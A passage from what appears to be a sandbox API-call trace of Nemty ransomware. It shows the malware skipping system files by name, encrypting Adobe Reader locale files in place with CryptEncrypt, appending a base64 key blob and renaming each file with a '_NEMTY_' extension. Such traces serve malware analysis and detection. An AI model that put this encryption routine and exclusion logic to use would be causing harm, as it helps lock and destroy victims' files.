lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.771] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ReadOutLoud.DAN", cAlternateFileName="READOU~1.DAN")) returned 1 [0174.771] lstrcmpiW (lpString1="ReadOutLoud.DAN", lpString2=".") returned 1 [0174.771] lstrcmpiW (lpString1="ReadOutLoud.DAN", lpString2="..") returned 1 [0174.771] lstrcmpiW (lpString1="ReadOutLoud.DAN", lpString2="...") returned 1 [0174.771] lstrcmpiW (lpString1="ReadOutLoud.DAN", lpString2="windows") returned -1 [0174.771] lstrcmpiW (lpString1="ReadOutLoud.DAN", lpString2="$RECYCLE.BIN") returned 1 [0174.771] lstrcmpiW (lpString1="ReadOutLoud.DAN", lpString2="rsa") returned -1 [0174.771] lstrcmpiW (lpString1="ReadOutLoud.DAN", lpString2="NTDETECT.COM") returned 1 [0174.771] lstrcmpiW (lpString1="ReadOutLoud.DAN", lpString2="ntldr") returned 1 [0174.771] lstrcmpiW (lpString1="ReadOutLoud.DAN", lpString2="MSDOS.SYS") returned 1 [0174.771] lstrcmpiW (lpString1="ReadOutLoud.DAN", lpString2="IO.SYS") returned 1 [0174.771] lstrcmpiW (lpString1="ReadOutLoud.DAN", lpString2="boot.ini") returned 1 [0174.771] lstrcmpiW (lpString1="ReadOutLoud.DAN", lpString2="boot.ini") returned 1 [0174.771] lstrcmpiW (lpString1="ReadOutLoud.DAN", lpString2="AUTOEXEC.BAT") returned 1 [0174.771] lstrcmpiW (lpString1="ReadOutLoud.DAN", lpString2="ntuser.dat") returned 1 [0174.771] lstrcmpiW (lpString1="ReadOutLoud.DAN", lpString2="desktop.ini") returned 1 [0174.771] lstrcmpiW (lpString1="ReadOutLoud.DAN", lpString2="CONFIG.SYS") returned 1 [0174.771] lstrcmpiW (lpString1="ReadOutLoud.DAN", lpString2="RECYCLER") returned -1 [0174.771] lstrcmpiW (lpString1="ReadOutLoud.DAN", lpString2="BOOTSECT.BAK") returned 1 [0174.771] lstrcmpiW (lpString1="ReadOutLoud.DAN", lpString2="bootmgr") returned 1 [0174.772] lstrcmpiW (lpString1="ReadOutLoud.DAN", lpString2="programdata") returned 1 [0174.772] lstrcmpiW (lpString1="ReadOutLoud.DAN", lpString2="appdata") returned 1 [0174.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.DAN", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0174.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.DAN", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.DAN", lpUsedDefaultChar=0x0) returned 15 [0174.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.DAN", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0174.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.DAN", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.DAN", lpUsedDefaultChar=0x0) returned 15 [0174.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.DAN", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0174.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.DAN", cchWideChar=15, lpMultiByteStr=0x653e8e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.DAN", lpUsedDefaultChar=0x0) returned 15 [0174.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.DAN", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0174.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.DAN", cchWideChar=15, lpMultiByteStr=0x653e918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.DAN", lpUsedDefaultChar=0x0) returned 15 [0174.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.772] Sleep (dwMilliseconds=0x5) [0174.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bd2f230, dwHighDateTime=0x1d561e8)) [0174.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bd2f230, dwHighDateTime=0x1d561e8)) [0174.780] GetLastError () returned 0x0 [0174.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.780] GetLastError () returned 0x0 [0174.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.780] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.780] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.781] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.781] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="Hc8qp0IrntZ8gF1bnkYljGMAFMgkuVDcMidtZbwV0o22PlQK2j3h62oZT988IOmF\r\nk6ah462tOjnS3FQjbiqnN+MoKZsSv8vclQi6oo7ogjYIKPoYYtz3j/MOoCGz2vjm\r\nymZj4Ps/7r7OYqiVYtDRsoEvjKJUB/twKfXYvzvTMkgeHerIPe+rmW1YRT4QmsmJ\r\nX5WV74D43ISEXphkoEWl4I9qyheP01PVd88FPg8PZbGPLX4mih9HSeH6jGx4+cuj\r\nAFteleI38XDzbfVEKCa9aRIIDeZococEZZcpJKgPL3e7g5o7sVPclM96gpLXDgYT\r\nXmBirakAhzt1YNfMfLnLJA==\r\n", pcchString=0x653e5dc) returned 1 [0174.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.781] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\ReadOutLoud.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\readoutloud.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.782] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0174.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0174.782] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.782] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0174.784] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.784] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0174.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.784] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0174.784] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.784] CloseHandle (hObject=0x2e8) returned 1 [0174.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0174.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0174.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.785] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\ReadOutLoud.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\readoutloud.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\ReadOutLoud.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\readoutloud.dan._nemty_kgobjgd_")) returned 1 [0174.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0174.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.785] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="reflow.DAN", cAlternateFileName="")) returned 1 [0174.785] lstrcmpiW (lpString1="reflow.DAN", lpString2=".") returned 1 [0174.785] lstrcmpiW (lpString1="reflow.DAN", lpString2="..") returned 1 [0174.785] lstrcmpiW (lpString1="reflow.DAN", lpString2="...") returned 1 [0174.785] lstrcmpiW (lpString1="reflow.DAN", lpString2="windows") returned -1 [0174.786] lstrcmpiW (lpString1="reflow.DAN", lpString2="$RECYCLE.BIN") returned 1 [0174.786] lstrcmpiW (lpString1="reflow.DAN", lpString2="rsa") returned -1 [0174.786] lstrcmpiW (lpString1="reflow.DAN", lpString2="NTDETECT.COM") returned 1 [0174.786] lstrcmpiW (lpString1="reflow.DAN", lpString2="ntldr") returned 1 [0174.786] lstrcmpiW (lpString1="reflow.DAN", lpString2="MSDOS.SYS") returned 1 [0174.786] lstrcmpiW (lpString1="reflow.DAN", lpString2="IO.SYS") returned 1 [0174.786] lstrcmpiW (lpString1="reflow.DAN", lpString2="boot.ini") returned 1 [0174.786] lstrcmpiW (lpString1="reflow.DAN", lpString2="boot.ini") returned 1 [0174.786] lstrcmpiW (lpString1="reflow.DAN", lpString2="AUTOEXEC.BAT") returned 1 [0174.786] lstrcmpiW (lpString1="reflow.DAN", lpString2="ntuser.dat") returned 1 [0174.786] lstrcmpiW (lpString1="reflow.DAN", lpString2="desktop.ini") returned 1 [0174.786] lstrcmpiW (lpString1="reflow.DAN", lpString2="CONFIG.SYS") returned 1 [0174.786] lstrcmpiW (lpString1="reflow.DAN", lpString2="RECYCLER") returned 1 [0174.786] lstrcmpiW (lpString1="reflow.DAN", lpString2="BOOTSECT.BAK") returned 1 [0174.786] lstrcmpiW (lpString1="reflow.DAN", lpString2="bootmgr") returned 1 [0174.786] lstrcmpiW (lpString1="reflow.DAN", lpString2="programdata") returned 1 [0174.786] lstrcmpiW (lpString1="reflow.DAN", lpString2="appdata") returned 1 [0174.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.DAN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0174.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.DAN", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.DAN", lpUsedDefaultChar=0x0) returned 10 [0174.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.DAN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0174.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.DAN", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.DAN", lpUsedDefaultChar=0x0) returned 10 [0174.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.DAN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0174.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.DAN", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.DAN", lpUsedDefaultChar=0x0) returned 10 [0174.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.DAN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0174.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.DAN", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.DAN", lpUsedDefaultChar=0x0) returned 10 [0174.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0174.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0174.787] Sleep (dwMilliseconds=0x5) [0174.796] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bd55390, dwHighDateTime=0x1d561e8)) [0174.796] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bd55390, dwHighDateTime=0x1d561e8)) [0174.796] GetLastError () returned 0x0 [0174.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.796] GetLastError () returned 0x0 [0174.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.796] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.796] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.796] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0174.796] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="XFmAYrPGTxUHav/NoUqsPqMe8QvOQlK7P2Xt2gWGQDIfrAkJjPaOn2Y/OSuRfFoZ\r\ngdbDBbfq71n95JFovnJwjHgQd8ETdUAt3G6NBet+PBiKMBD6FZTMOKLzSXd3XyuD\r\nKdnpbF6Mx0rNWe7vKIHAFwsTJPnjpfkNohCtjw1zISqKBh5HdrgChjVxxXabB4yy\r\nIdYbpkpO4Uo46sTKk5NgeU/WyP+N1gczdwiVgxAVLODE2ZbUoB5nMKu1ndmYKXzX\r\nvQA7jeTtTM+HH29mciPITWFhNDyux0ok2b+z8eH+NRZX1sWevGXBsQ3e86OOMtNT\r\n26+/YVNlg6uTkbMc7Axwig==\r\n", pcchString=0x653e5dc) returned 1 [0174.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0174.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.796] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\reflow.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\reflow.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.797] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=4608) returned 1 [0174.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1200) returned 0x6352c48 [0174.797] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.797] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1200, lpOverlapped=0x0) returned 1 [0174.800] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.800] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1200, lpOverlapped=0x0) returned 1 [0174.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.800] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=4608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1200 [0174.800] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.800] CloseHandle (hObject=0x2e8) returned 1 [0174.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0174.800] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.800] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: 